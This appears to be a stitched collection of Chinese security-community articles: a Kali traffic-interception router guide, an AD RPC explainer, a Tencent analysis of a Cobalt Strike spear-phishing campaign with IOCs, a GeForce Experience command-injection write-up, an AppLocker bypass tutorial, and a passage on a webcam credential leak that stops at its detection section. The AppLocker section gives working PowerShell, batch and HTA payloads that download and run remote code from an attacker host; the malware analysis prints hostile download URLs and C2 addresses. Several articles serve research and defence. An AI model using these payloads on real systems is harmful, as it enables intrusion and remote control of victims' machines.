一般来说，我们还需要拦截流量，因此我们还需要设置一些iptables规则来将HTTP/1.1和HTTPS流量重定向到我们的拦截代理（BurpSuite）。关于其他协议的设置方法，请参考这份【[文档](http://www.tldp.org/HOWTO/TransparentProxy-6.html)】。
第一条规则将会拦截端口80和443的所有tcp包（HTTP和HTTPS），并将数据发送给BurpSuite。
$ iptables -t nat -A PREROUTING -i br0 -p tcp --dport 80 -j DNAT --to-destination burpip:burp_http_port $ iptables -t nat -A PREROUTING -i br0 -p tcp --dport 443 -j DNAT --to-destination burpip:burp_https_port
第二条规则将确保响应信息在发送到客户端之前先经过我们的Kali Linux。
$ iptables -t nat -A POSTROUTING -o eth0 -s 172.16.0.0/12 -d burpip -j MASQUERADE
第三条规则其实并不是必须的，这条规则将确保Kali路由能够正确地将数据包发送给BurpSuite。
$ iptables -A FORWARD -s 172.16.0.0/12 -d burpip -i br0 -o eth0 -p tcp --dport burp_http_port -j ACCEPT $ iptables -A FORWARD -s 172.16.0.0/12 -d burpip -i br0 -o eth0 -p tcp --dport burp_https_port -j ACCEPT
接下来，我们要将BurpSuite配置成一个透明代理。打开BurpSuite，点击Proxy标签，然后选择Options菜单，然后点击Add按钮。
对于HTTP流量，我们要给BurpSuite绑定80端口，然后勾选All interfaces选项。
接下来我们跳转到Request handling标签页，然后勾选Support invisible
proxying选项。这一步操作是必须的，勾选之后客户端将不会感受到BurpSuite的存在。
对于HTTPS流量，我们需要给BurpSuite绑定端口443，然后勾选All interfaces。
然后点击Request handling标签，按照如下图所示的方法进行设置。
**自动化**
为了方便起见，我们应该尽可能地实现自动化。你可以在我的[
**GitHub主页**](https://github.com/koenbuyens/kalirouter/blob/master/monitor.sh)
找到相关的[ **配置文件**](https://github.com/koenbuyens/kalirouter/tree/master/conf)
以及[ **脚本**](https://github.com/koenbuyens/kalirouter/blob/master/monitor.sh) 。
首先，从github获取Kalirouter的项目源码：
$ git clone https://github.com/koenbuyens/kalirouter.git
安装相关的依赖组件：
apt-get install dnsmasq hostapd bridge-utils
插入USB适配器，然后使用命令iptables -a找出适配器的名字和MAC地址。
告诉network-manager服务我们将通过添加适配器MAC地址来接管相关接口，并运行命令/etc/init.d/networking
restart来重启网络服务。/etc/NetworkManager/NetworkManager.conf文件的修改内容如下所示。
[keyfile] unmanaged-devices=mac:d8:eb:97:b6:ce:12;mac:56:6b:a2:90:c4:b9
修改hostapd.conf文件，将其指向正确的无线网络接口（默认为wlan0）。
修改monitor.sh脚本中的接口变量，将其指向正确的接口。其中的WIRELESS_MONITOR_INTERFACE,
WIRED_MONITOR_INTERFACE和
INTERNET_INTERFACE分别对应的是USB无线网卡、USB有线网卡和Kali的VMWare接口。默认为wlan0、eth1和eth0。
修改monitor.sh脚本中的代理变量，将其指向BurpSuite的IP地址以及端口，其中PROXYBOX, PROXYBOX_HTTP_PORT和
PROXYBOX_HTTPS_PORT分别对应的是IP地址、HTTP端口和HTTPS端口，默认为172.16.0.1、80和443。
运行下列命令执行脚本文件：
$ ./monitor.sh
输出数据保存在dumps/output.pcap文件中，你可以通过按下Ctrl+C来停止监控网络流量。
拦截嵌入式设备、移动应用和Windows应用程序的通信数据
运行了我们的监控脚本之后，我们就可以开始监控目标设备的网络流量了。
**嵌入式设备**
我们用一台嵌入式设备连接到了我们的监控网络中，然后让设备开始正常运行。如下图所示，我们的嵌入式设备（10.0.0.38）正在通过UDP与一个内网移动应用进行通信（192.168.1.230）。
**移动应用**
在开始监控移动应用之前，我们必须先设置好相关的信任证书。
1\. 通过点击Proxy标签页中的Import/export CA certificate选项导出BurpSuite证书。
2\. 通过选择Certificate in DER format选项将证书导出为DER文件。
对于安卓端应用来说，我们先要添加信任证书。
1\. 进入安卓系统的安全设置中。
2\. 然后从SD卡安装证书。
3\. 选择证书。
4\. 命名证书。
导入证书之后，我们就可以开始监听应用程序的网络数据了。
1\. 让移动设备连接到我们的监控网络之中，密码是我们在hostapd配置文件中设置的密码。
2\. 然后运行应用程序，下面给出的例子是Amtrak应用程序。
3\. 我们可以在BurpSuite中看到监听到的安卓应用HTTPS流量。
4\. 我们可以观察到wireshark记录下的所有的流量（图例为Facebook App）。
**Windows应用程序**
1.让我们的Windows设备连接到我们的监控网络之中。
2\. 导入Windows证书，详细步骤请参考这份【[文档](https://parsiya.net/blog/2016-02-21-installing-burp-certificate-authority-in-windows-certificate-store/)】。
3\. 开启需要监控的应用程序，我们这里直接选择Web浏览器。
4\. BurpSuite和Wireshark都将接收到所有的网络流量。
**总结**
Kalirouter可以帮助我们将Kali
Linux设备转换成一个能够拦截网络流量的代理路由器，对该项目感兴趣的同学可以访问Kalirouter的GitHub主页获取详细信息【[传送门](https://github.com/koenbuyens/kalirouter/blob/master/monitor.sh)】。注：同学们还可以在树莓派上使用Kalirouter。
**参考资料**
<https://www.psattack.com/articles/20160410/setting-up-a-wireless-access-point-in-kali/>
<https://cybergibbons.com/security-2/quick-and-easy-fake-wifi-access-point-in-kali/>
<https://ubuntuforums.org/showthread.php?t=716192>
<https://help.ubuntu.com/community/NetworkConnectionBridge>
<https://wiki.archlinux.org/index.php/Internet_sharing#Configuration>
<https://wiki.archlinux.org/index.php/software_access_point#Bridge_setup>
<https://wiki.debian.org/BridgeNetworkConnections#Manual_bridge_setup>
<https://help.ubuntu.com/lts/serverguide/network-configuration.html>
<http://www.tldp.org/HOWTO/TransparentProxy-6.html> | 社区文章 |
# AD域安全协议（四）RPC
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
如驾驶需要遵守交通规则一般，在网络中活动的事务，也需要遵守相应的规则，这套“规则”的具体实现，则通过网络上的“协议”，并且，在不同的应用环境下，有不同的协议规范。
AD域中特色功能的实现，主要依赖的协议有Kerberos、ntlm、ldap、rpc、smb，本次科普系列，我们为大家详细介绍这几项协议，帮助大家梳理。
RPC协议主要用来进行远程过程调用，用一句话来概括，就是允许用户程序调用服务器上的函数进行计算，由此实现两者交互。
早先的企业环境中，所有的服务都在一台主机上，就会导致服务器负荷过重，无法保证业务的正常运作。正因如此，后来企业就更换了一种思路，将不同服务分开，分别存放在不同主机上，暂时解决了负荷问题。但是久而久之，这样的方式也开始显现弊端，比如当用户需要使用不同服务器上的服务协作来完成任务时，服务与服务之间该如何交互？
这就是RPC要解决的问题，简言之，RPC可以允许一台机器上的程序调用另一台机器上的函数，通过各计算机协作进行计算，以保证用户任务顺利完成
接下来我们详细说说RPC的原理。
## RPC原理
同AD域内的大多数协议一样，RPC也采用的是请求响应模式。通常的请求响应，只需要客户端和服务器直接做交互就行了，但在RPC中，增加了两个处理过程，即客户端存根和服务器存根。
此存根的作用为：当客户端想调用服务器上的某函数时，需要把客户端的参数提供给服务器。而为了保证参数的保密、完整、可用和响应的高效性，客户端需要对传输过程做些特殊处理，包括将数据序列化、封装数据、寻址、传递数据等。
如果这一系列复杂行为都由客户端来操作，将会耗时耗力，所以RPC就建立了一个存根，让它来协调管理这些过程，减轻客户端负担。
在存根的作用下，客户端将参数递交给它，后续只需要等待接收服务器返回的数据就行了。因此，用户其实是感受不到这个跟服务器交互的过程的，这一切似乎都像在本机上完成的一样。
以上内容，我们提到存根的一个重要作用——序列化。
所以，什么是序列化？
客户端把参数交给存根后，如果存根直接将参数交给服务器，当服务器的系统与客户端不一样时，服务器就不能解析该参数，也无法调用相应函数，等于客户端也就得不到正确的返回结果。
为了让服务器能正确解析客户端的参数，我们就需要将参数转化成服务器能理解的方式。
在RPC中，客户端存根就把要传递的数据信息序列化成二进制，以方便服务器识别并处理。
这里的数据信息不单包括参数，还有要调用的函数ID。客户端存根将它们统一序列化成二进制后，打包递交给传输层。
传输层使用TCP协议，所以RPC中，上层传递下来的二进制信息需要进一步封装在TCP包中，寻址后发送给相应的服务器。
可都封装好了，为什么要有寻址这一步骤呢？
简而言之，寻址的重要作用就是找到该函数对应的服务器地址。但是企业环境中，各服务分散在不同的服务器上，如果都由客户端来“记忆”，将导致巨大的资源浪费。为了方便查询分散的服务地址，RPC中会将所有服务和对应地址都集中在一起，这个集中了所有服务地址的机器就是注册中心。
通过注册中心，客户端和服务器可以更方便地交互。
对服务器来说，它每增加或注销一项服务就通知注册中心进行更改，而不必一一告知客户端。对客户端来说，它也不必记住每一项服务所在地址，也不用管服务地址是否有变化。只需要在申请服务时，从注册中心查找到服务地址，向该地址发送数据包就行了。也就是说服务端的变化对客户端几乎没有影响。
数据包传递到服务器后，先由传输层对其解析，得到序列化过的二进制包。
要把这个二进制包转化成服务器能理解的数据格式，就需要与序列化相对的反序列化。
通常在服务器上，同样拥有一个服务端存根，它和客户端存根的作用一样，用来管理RPC过程中的大部分事务，反序列化也由它来完成。
在这里，服务端存根对二进制包反序列化，得到参数和要调用的函数ID，然后递交给服务器。服务器计算后得到结果，返回给客户端。
RPC中，结果返回时，同样需要服务端存根来对其进行序列化后传输，客户端收到响应数据包后由客户端存根再次对其反序列化，得到结果。
这样，在RPC协议规范下，客户端就成功调用了服务端的函数来完成计算。
## 结语
相比于HTTP等传输协议，RPC将数据序列化成二进制，直接在传输层上与服务端交互，极大地提高了传输效率。并且使用存根来管理RPC的底层过程，让客户端和服务端的交互变得透明，从而为用户提供了方便。
不过，抛开传输效率的便利，RPC中同样也存在很多安全威胁，比如Zerologon(CVE-2020-1472)、Printnightmare(CVE-2021-34527)等，攻击者利用这些漏洞，可以直接通过RPC协议连接服务器，并向其发送恶意代码，从而获取控制目标服务器的权限，这也是使用协议时要提防的一个方向。
以上就是RPC协议的全部内容，下一篇文章中，我们将继续为大家介绍SMB协议。
了解更多AD域协议相关，欢迎关注中安网星 | 社区文章 |
**作者：腾讯安全御见威胁情报中心
来源：<https://mp.weixin.qq.com/s/F7A9hxucQS-82VcE7xCVmg>**
腾讯安全御见威胁情报中心捕获到一起针对某大型数字加密币交易平台工作人员发起的鱼叉式定向攻击。攻击者自称为币圈资深用户，通过邮件投递攻击诱饵，攻击文件携带Excel
4.0
XLM宏代码。当接收邮件的工作人员打开文件启用宏代码，攻击程序将下载一个伪装为HelloWorld的恶意程序执行，经过多层恶意代码解密，执行Cobalt
Strike远控后门。
### 一、概述
近日，腾讯安全御见威胁情报中心捕获到一起针对某大型数字加密币交易平台客服人员发起的鱼叉式定向攻击。攻击者自称为币圈资深用户，由于对该交易平台客服不满，进而对比了该平台与其竞争关系的xx平台，并列出多条建议在邮件附件中，希望该平台做出改进。
邮件附件中包含了一个名为“客服和xx投诉对比和记录2019.xls”的电子表格文件，该文件为攻击诱饵文件，携带Excel 4.0
XLM宏代码，当接收邮件的客服人员打开该文件，且允许执行其中的宏代码，宏代码将拉取一个伪装为HelloWorld的恶意程序执行，最终经过多层恶意代码解密，执行Cobalt
Strike远控后门。
针对数字加密币公司的定向攻击流程
一旦客服人员机器被成功植入木马，攻击者则可以轻易的获取到交易平台内部信息资料，甚至通过该客服机器作为跳板机，入侵交易所内部核心机密数据，最终导致平台遭受不可预估的损失。最坏的情况下，可能导致交易平台数字虚拟币被盗。数字虚拟币大规模被盗的事件在币圈曾频繁发生，每次都会引起数字虚拟币市值的极大波动。
通过攻击目标企业安全意识薄弱职位的相关人员，在APT攻击中往往能取得不错的成效。例如攻击者通常通过对攻击目标客服人员发送咨询/建议邮件，对销售人员发送订单信息/采购邮件，对人力资源人员发送简历信息邮件，对法务人员发送律师函等。腾讯安全团队此前捕获到的：[《御点截获针对某大型商贸企业的定向商业APT攻击》](https://mp.weixin.qq.com/s/kusT8mArumwmuRaiAtdRWA
"《御点截获针对某大型商贸企业的定向商业APT攻击》")，也同样使用了类似的手法。
攻击邮件示例
攻击文档示例
总结一下本次攻击的特点：
事件基础信息 | 针对某区块链数字加密币交易平台的定向攻击
---|---
影响客户和行业 | 数字加密币交易平台公司
攻击路径 | 鱼叉邮件攻击，利用社会工程学诱骗目标打开内嵌恶意宏代码的攻击文件。
主要技术特点 | 1.诱饵文档利用Excel 4.0
XLM恶意宏代码；2.社会工程学利用，诱导目标启用宏代码；3.XLM恶意宏代码拉取一个伪装为HelloWorld（伪装成常用的测试程序名，欺骗性更强）的恶意程序执行，经过多层恶意代码解密执行，最终释放RAT远控木马；4.远控木马的持久化运行，攻击者实现对目标网络的入侵和信息窃取。
### 二、技术分析
**Excel 4.0 恶意宏利用**
使用Office2010打开恶意文档，可看到虽然有宏提示，但无法看到宏代码（使用了Excel
4.0宏技术）。表格内容通过提示需点击“启用内容”进一步查看表格详细内容，进而诱导被攻击者启用宏。
诱饵文档极具迷惑性
Microsoft很早就使用VBA宏来代替Excel 4.0宏技术，这导致Excel
4.0宏并不为大众所熟知。文档中右键点击标签页，取消隐藏选择auto后，可看到其Excel
4.0-XLM宏代码，宏内容隐藏在表格中，主要功能为通过将d列表格内容写入文件null.hta，然后通过rundll32执行null.hta。
右键标签页取消隐藏工作表，选中auto
之后可看到表格中隐藏的宏代码
也可使用oletools直接提取宏
下图为整理后的null.hta代码，主要功能为从链接(hxxp://close.webredirect.org/age.png)处下载图片文件到本地
ProgramData目录下命名为A164C0BF-67AE-3C7E-BC05-BFE24A8CDB62.dat 执行。
**伪装自身为HelloWorld的空白main函数恶意程序：**
查看下载回的age.png文件，粗略看是一个Main函数为空的HelloWorld程序，攻击者使用该手法来迷惑分析人员误以为其只是一个测试程序。
仔细观察可发现看似是HelloWorld的空白程序，其中包含了一个卸载接口函数，宏代码使用以下.net命令执行该文件中的卸载函数，
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe -U
C:\Windows..\ProgramData\A164C0BF-67AE-3C7E-BC05-BFE24A8CDB62.dat
卸载接口中将执行一段PowerShell代码，PowerShell代码使用Base64编码并压缩
解码解压缩后的PowerShell代码如下，主要功能为访问地址
Hxxp://close.webredirect.org/index.png?random，随后将返回一个大小约200k的数据流，在内存中对返回的数据先进行Base64解码，解码后内容的前16字节作为RC4密钥，使用RC4再解密剩余部分数据执行。
进一步查看RC4解密后的PowerShell代码如下，主要功能为释放RAT远控木马，并将其设置持久化。
其中关键变量wlbsctrl，解码后为一个区分x86,x64不同平台的dll模块，Powershell代码通过对释放到本地的wlbsctrl.dll进行持久化操作，而wlbsctrl.dll模块主要功能为调用InstallUntil.exe模块进而执行27F31D55-D6C6-3676-9D42-C40F3A918636.dat中的卸载接口，从而实现间接开机启动执行27F31D55-D6C6-3676-9D42-C40F3A918636.dat中的恶意代码。
关键变量rat解码后查看，依然为一个HelloWorld-Main空程序，该模块同样使用卸载函数执行恶意代码，不同点为卸载接口内PowerShell内容不同，该模块解码后存放于用户目录27F31D55-D6C6-3676-9D42-C40F3A918636.dat文件中。
27F31D55-D6C6-3676-9D42-C40F3A918636.dat中的PowerShell代码内部解密硬编码变量DoIt执行，解密方式依然为RC4，密钥为Base64解码后内容的前16字节
对DoIt变量解密后可拿到其代码，主要为创建线程，申请内存执行payload，payload的解密方式依然为Base64解码+RC4，与之前的不同之处为解密完成后再进行一次Base64解码获取最后要执行的ShellCode。
**云端拉取内存装载执行的ShellCode：**
ShellCode代码通过遍历LDR找到kernel32模块，然后获取LoadLibraryA的地址，加载Wininet模块，然后获得一系列网络操作函数
InternetConnect, httpOpenRequest,
httpSendRequest地址调用，最终向地址192.52.167.185发送Get请求，并使用InternetReadFIle循环每次读取0x2000字节网络数据流在内存中拼接出一个完整Dll文件，Dll使用反射式装载的方式在内存中执行。
**Cobalt Strike 后门远控DLL：**
内存中可dump出的反射加载的DLL文件
观察该Dump模块可知为Cobalt Strike生成的DLL后门远控攻击模块，Cobalt
Strike攻击模块数据交互支持HTTP、HTTPS、DNS和SMB隧道协议，该后门支持远程屏幕，键盘记录，远程Shell等常用的远程控制功能。攻击模块通过异或0x69解密出上线配置信息。
解密可得攻击者使用C2地址为192.52.167.185
Cobalt
Strike控制端主界面如下（图片来自官方站点）,是一个具备键盘记录，屏幕监控，远程shell的多功能的后门远控，攻击者可利用该木马窃取用户机器内重要资料，详细资料可参考其官方站点（[https://www.cobaltstrike.com](https://www.cobaltstrike.com/)）。
### 三、安全建议
1、建议不要打开不明来源的邮件附件，除非清楚该文档来源可靠；
2、企业要防止组织架构和员工信息的公开泄漏；
3、使用高版本完整版Ofiice，并注意安装Office安全更新，如下图中高版本Office会自动识别出文档有风险，提醒用户“编辑此文件可能损害计算机”；
4、使用杀毒软件防御可能的病毒木马攻击，建议全网安装御点终端安全管理系统
（<https://s.tencent.com/product/yd/index.html>）。御点终端安全管理系统具备终端杀毒统一管控、修复漏洞统一管控，以及策略管控等全方位的安全管理功能，可帮助企业管理者全面了解、管理企业内网安全状况、保护企业安全；
5、使用腾讯御界高级威胁检测系统，及时发现APT攻击的蛛丝马迹。腾讯御界高级威胁检测系统，是基于腾讯安全反病毒实验室的安全能力、依托腾讯在云和端的海量数据，研发出的独特威胁情报和恶意检测模型系统。
官方网站（<https://s.tencent.com/product/yujie/index.html>）
### IOCs
**MD5**
66e36f8395ab863c0722e129da19b53a
47a3bfa4c2cda547a20cfd495355ed8f
1c19ccab8237cd63b9e1f2d3b4303bc7
14be66a46b1964ba2307fe8a54baadf2
1d93f68b6d7f0b03eb137974b16e249b
95c998ebef4804e2d15dcef659d73df6
**URL**
hxxp://close.webredirect.org/age.png
hxxp://close.webredirect.org/index.png
**C2**
192.52.167.185
### 参考资料：
御点截获针对某大型商贸企业的定向商业APT攻击 <https://mp.weixin.qq.com/s/kusT8mArumwmuRaiAtdRWA>
有关数字加密币交易所被盗的新闻报道：
<https://finance.sina.com.cn/blockchain/roll/2019-03-27/doc-ihsxncvh6018982.shtml>
* * * | 社区文章 |
# GeForce Experience OS 命令注入
##### 译文声明
本文是翻译文章，文章原作者 rhinosecuritylabs，文章来源：rhinosecuritylabs.com
原文地址：<https://rhinosecuritylabs.com/application-security/nvidia-rce-cve-2019-5678/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 漏洞概述
在这篇文章中，我将分享我是如何发现可利用NVIDIA GeForce Experience
(GFE)来造成远程代码执行漏洞，版本号小于3.19的GFE均存在该漏洞。这个漏洞被分配编号：
CVE-2019-5678。用户访问攻击者控制的站点，轻敲几下键盘，用户的主机就会被控制。用户启动GFE时，有一个名为”Web
Helper”的本地服务也会启动，并且该服务存在命令注入漏洞。
### 0x01.1 NVIDIA GFE
英伟达官方网站是这样描述GeForce
Experience的：”让您的驱动程序时刻保持最新状态、一键优化游戏设置，还可与朋友们录制游戏视频、捕捉游戏画面和直播。”很容易可以看出它是一个辅助应用，附加在英伟达产品中，以帮助用户细化功能。
## 0x02 漏洞挖掘
### 0x02.1 发现漏洞
MWR Labs曾发表一篇关于GFE
LPE漏洞的[文章](https://labs.mwrinfosecurity.com/advisories/nvidia-geforce-experience-lpe/)，GFE会开启一个本地API服务器，用户可以通过它来控制GFE的各个方面。例如，当用户更改GFE
GUI界面的某些设置时，很有可能是调用了该本地的API。了解到这点，我觉得应该深入探究一下这个API，看看是否有其他有趣的功能。GFE开启的这个服务器是基于NodeJS
Express框架的，在”C:Program Files (x86)NVIDIA CorporationNvNode”中可以找到许多它的源文件。
如需发送有效的请求，HTTP标头中必须附有一个启动时随机生成的token值，储存在”%LOCALAPPDATA%NVIDIA
CorporationNvNodenodejs.json”中，该文件还包含一个随机开放的端口。文件名为静态，不会改变，因此研究者可以轻易地在本地电脑中找到。下图展示了其中的内容：
### 0x02.2 标头测试
首先，我测试是否可以绕过表头的身份验证机制并发送有效的请求。在`index.js :
185`中可以看到，它只是将用户发送的标头与本地的token进行对比，如果失败则返回403。
然而我没有找到Bypass的方法，因为这过于直接。但我还发现其他有趣的东西，它使用了CORS。在`index.js : 185`中标头“Access-Control-Allow-Origin”被设置为”*”并应用于所有请求。这意味着如果用户token值发生泄露，可以从其他Origin发送请求给服务器例如攻击者控制的网站。此外，攻击者还可以通过XHR请求发送自定义安全标头的请求。
### 0x02.3 API测试
考虑到这点，我开始测试能否通过成功发送请求来造成代码执行。我全局搜索”exec”，最后在NvAutoDownload.js中找到了该函数：
从上面这段代码你可以看到，用户发送POST请求给“/gfeupdate/autoGFEInstall/”，并将Content-Type设置为”text/*”，然后将POST过来的文本内容直接插入到”req.text”再通过childproc函数，并作为操作系统命令执行。我拦截正常的请求，测试修改内容以确保它可以正常运行。
上图的请求可以打开”calc.exe”。这本身也没有多大的问题，因为真实情况下攻击者完全不知道token是多少。所以下一步就是测试是否有办法读取储存token的文件。
## 0x03 Exploitation
前面我们已经讨论过可以通过浏览器来实施攻击，简单地说这是由于错误的的CORS策略。如要攻击成功仍需拿到受害者的token。我想到了解决办法，可以诱导用户上传储存token的文件。这听起来有些天方夜谭，但由于储存token的文件路径及名称是静态的，所以这非常容易实现，只要引诱用户按几个键就可以实现命令注入。
### 0x03.1 攻击步骤
在Chrome中可以通过键盘按键复制任意内容到剪切板，Firefox则有些不同需要鼠标的配合。在Chrome浏览器中只需按三个键”CTRL+V+Enter”，即可成功利用。
按键功能：
1. “CTRL” – 将储存token文件的路径“％LOCALAPPDATA％ NVIDIA Corporation NvNode nodejs.json”复制到剪切板，同时还会打开文件上传的窗口并选择传文件。
2. “V” – 粘贴剪切板内容到上传路径处。
3. “Enter” – 上传nodejs.json文件，同时读取文件内容。
4. 然后，将token值组合到XHR请求中，并且发送请求给GFE API端点，最后造成命令执行。
攻击演示：
## 0x04 小结
这个攻击确实需要用户的交互，但交互量非常小，欺骗用户按几个按钮不是什么难事。这个漏洞的真正问题是本地服务器的API端点运行所有Origin发送跨源资源共享请求，这意味如果token发送泄漏，则可以通过浏览器对受害者本地电脑的GFE任意API端点发送XHR请求。
命令注入漏洞在最新版的GFE（3.19）中已修复，请立即升级！NVIDIA的修复方法似乎值是将造成命令注入的端点直接删除。它们没有修复宽松的CORS策略，并且仍把nodejs.json文件存放在静态位置。所以我们仍然可以用这篇文章讲的方法与GFE
API端点交互。
如果你不使用GFE，最好将它卸装。我已将这篇文章的概念证明文件上传至[GitHub](https://github.com/RhinoSecurityLabs/CVEs/tree/master/CVE-2019-5678)，如有兴趣可自行下载研究。 | 社区文章 |
# 【技术分享】AppLocker绕过之文件拓展名
|
##### 译文声明
本文是翻译文章，文章来源：pentestlab.blog
原文地址：<https://pentestlab.blog/2017/06/12/applocker-bypass-file-extensions/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[牧野之鹰](http://bobao.360.cn/member/contribute?uid=877906634)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
要绕过AppLocker的限制通常是使用受信赖的MS的二进制文件来执行代码或者利用弱路径规则。然而在系统中还有一种可行的方法，系统已经配置了默认规则，而规则是允许用户使用CMD和PowerShell，这时用户可以通过使用具有不同文件扩展名的有效载荷来绕过AppLocker。
可以使用Metasploit Web传递模块来托管将要使用的powershell有效载荷，并从目标中检索传入的连接。
代码如下：
exploit/multi/script/web_delivery
网络传递模块 – PowerShell payload
默认情况下，直接从CMD执行.bat文件将被阻止。
AppLocker – bat文件上的限制
但是，通过将此文件的扩展名更改为.txt，并从CMD执行相同的有效载荷将返回一个Meterpreter会话。
代码如下：
cmd.exe /K < payload.txt
CMD-以txt的方式执行bat文件
Payload.txt:
@echo off
Powershell.exe -nop -w hidden -c IEX (new-objectnet.webclient)
.downloadstring('http://192.168.100.3:8080/9Q21wiSds9E0pxi');
**PAUSE**
在PowerShell中，可以使用Get-Content cmdlet读取txt文件的内容，Invoke-Expression可以运行payload-powershell.txt文件中包含的命令：
代码如下：
IEX (new-objectnet.webclient).Downloadstring
('http://192.168.100.3:8080/9Q21wiSds9E0pxi');
PowerShell – 从txt执行有效载荷
Metasploit侦听器将收到两个Meterpreter会话：
Web Delivery – 获取Meterpreter会话
**
**
**File Extensions**
应允许应用程序（如Microsoft Word和Excel）执行，并且可以作为另一种方法来传递绕过AppLocker的恶意有效载荷。 Nishang
PowerShell框架可以用于生成包含特定有效载荷的各种扩展，如：
.DOC
.XLS
.HTA
.LNK
应该注意的是，系统需要安装office，否则nishang将无法生成文件。
代码如下：
PS C:nishangClient> Import-Module .Out-Word.ps1
PS C:nishangClient> Import-Module .Out-Excel.ps1
PS C:nishangClient> Out-Word -Payload "powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring(
'http://192.168.100.3:8080/9Q21wiSds9E0pxi');"
Saved to file C:nishangClientSalary_Details.doc
PS C:nishangClient> Out-Excel -Payload "powershell.exe -nop -w hidden -c IEX (new-object net.webclient).downloadstring
('http://192.168.100.3:8080/9Q21wiSds9E0pxi');"
Saved to file C:nishangClientSalary_Details.xls
Nishang – 嵌有payload的Word和Excel
Nishang还有两个PowerShell脚本，可以生成嵌有PowerShell payloads 的CHM文件和快捷方式。
需要注意的是，Nishang依赖于HTML Help Workshop应用程序来生成.CHM文件。
Nishang – 编译嵌有payload的HTML文件和快捷方式
以下代码（.HTA文件）可用来绕过AppLocker和其他应用程序白名单软件。
代码如下：
<HTML>
<HEAD>
<script language="VBScript">
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.3:8080/9Q21wiSds9E0pxi')"
</script>
</HEAD>
<BODY>
</BODY>
</HTML>
下面所有类型的文件都可以用来执行远程托管的powershell payload以绕过AppLocker规则。
Nishang – 生成的文件扩展名
**总结**
如果只是启用了AppLocker
但是并没有阻止CMD和powershell,即使特定类型的文件被阻止了，代码仍然可以执行。如果某些可信赖的应用当前并没有提供特定业务（也就是空在那里没有起作用）的话，系统所有者和IT管理员应该删除他们，应为他们拥有执行代码的能力，这是潜在的危险。除此之外还应该对标准用户禁止CMD，DLL规则也应该开启。 | 社区文章 |
**PDF 版报告下载** :
[国内某厂商摄像头敏感信息泄露事件分析](http://paper.seebug.org/papers/Archive/%E5%9B%BD%E5%86%85%E6%9F%90%E5%8E%82%E5%95%86%E6%91%84%E5%83%8F%E5%A4%B4%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E4%BA%8B%E4%BB%B6%E5%88%86%E6%9E%90.pdf)
**English Version** : [Webcam Sensitive Information Disclosure Vulnerability
Analysis](http://paper.seebug.org/papers/Archive/Dahua%20Webcam%20Sensitive%20Information%20Disclosure%20Vulnerability%20Analysis%20v1.1.pdf)
Author： **知道创宇404实验室** Date：2017/03/21
## 1\. 事件概述
国内某家监控产品供应商和解决方案服务商旗下有多款监控摄像机以及相关的配套设备。2017年3月5日，知道创宇旗下漏洞平台Seebug[0]上收录了一位名为“bashis”的国外安全研究员发布了一个漏洞公告，声称该厂商科技的多款摄像头存在“backdoor”漏洞[1]。随即在2017年3月6日该厂商官方在发布漏洞公告称(Security-Bulletin_030617)里确认了该漏洞存在并发布了最新的固件里修复了该漏洞。
知道创宇404实验室通过研究分析成功复现了该漏洞，确定该漏洞是一个敏感信息泄露漏洞。攻击者无需任何凭证的情况下访问一个链接即可得到摄像头设备Web管理的用户名和哈希密码等信息泄露：
攻击者通过这个泄露的用户名和哈希密码可直接控制管理该摄像头设备。随后知道创宇404实验室通过"ZoomEye
网络空间搜索引擎"[3]并于3月19日对全网进行探测。3月19日的数据结果显示互联网上仍然有20多万的摄像头设备存在该漏洞，并可能影响到除某厂商品牌外的其他多个品牌摄像头设备。
## 2\. 漏洞影响范围
### 2.1 设备总量
我们使用ZoomEye提供的默认Dork(搜索条件)，可以发现ZoomEye网络空间搜索引擎历史上收集了174.4万某厂商摄像头相关的IP数据[4]。
https://www.zoomeye.org/search?t=host&q=app%3A%22Dahua+Web+Camera+Server%22
### 2.2 受漏洞影响的风险设备的数量
针对知道创宇404安全实验室于3月19日通过对ZoomEye网络空间引擎对全球进行探测结果显示距离某厂商官方于3月6日发布升级公告后（13天）全球仍然有20.6万设备存在该信息泄露漏洞。以下是针对风险设备的统计和分析。
#### 2.2.1 风险设备的地区分布
由下图可见，风险设备分布在全球178个国家中。在全世界范围内，美国、欧洲、非洲以及南亚地区的风险设备数量较多。而中国区域内，北京、上海、广州、南京和哈尔滨这几个城市风险设备最多。
#### 2.2.2 风险设备的端口分布
在实际的探测中，我们发现风险摄像头的Web服务开在了不同的端口，除此以外还有各种其他的端口开放。根据统计，共有248个端口开放在互联网上，下图是数量最多的十个端口。由下图可见，大多数服务还是开放在80端口，但是也有很多安装、运维人员将端口修改到了其他端口，这样的行为在一定程度上是能够增加设备的安全性的。
#### 2.2.3 风险设备的品牌分布
针对这些存在漏洞的设备尝试进行进一步分析，我们提取了这些设备服务器上的favicon.ico的MD5值校验，总共发现了以下五组MD5值及对应数量：
bd9e17c46bbbc18af2a2bd718dddad0e 197634
b39f249362a2e4ab62be4ddbc9125f53 5885
bd1b5fef10a0846b2db322b90a57b746 109
d1ef1b4b9ef37b9dabec2db9e338de0f 237
a9d07db4284b4bdb144831a9ebb8dfd7 1546
注：另有496个设备不存在favicon.ico文件
我们分别选取了5组md5里的部分目标进行实际访问及网页代码分析发现，这五组md5的网页代码都基本相似，在相关的JavaScript脚本代码里都存在“3.0-Web3.0”字符串，主要的区别是在WEB管理登录页面图片不一样。如：
我们注意到“bd9e17c46bbbc18af2a2bd718dddad0e”组的品牌摄像头数据量多达197634，远远超过了其他4组的数据，这些设备的登录页面截图如下：
没有看到明确的“品牌”提示，于是我们通过谷歌得搜索找到如下网页[5]：
https://www.worldeyecam.com/blog/technical-questions/configuring-ntp-imaxcampro.html 关联到一个叫“imaxcampro”的品牌摄像头。
根据以上分析，我们大胆的推测5组不同的favicon.ico文件md5-hash的品牌的摄像头设备基于某厂商设备修改而来，具体发布如下[6][7][8][9]：
针对排名最多的疑似叫“imaxcampro”的品牌摄像头继续进行了全球地区分布统计：
可以看出这些设备主要分布在美欧及亚洲的韩国印度等海外市场。
## 3\. 检测与修复
#### 检查方法：
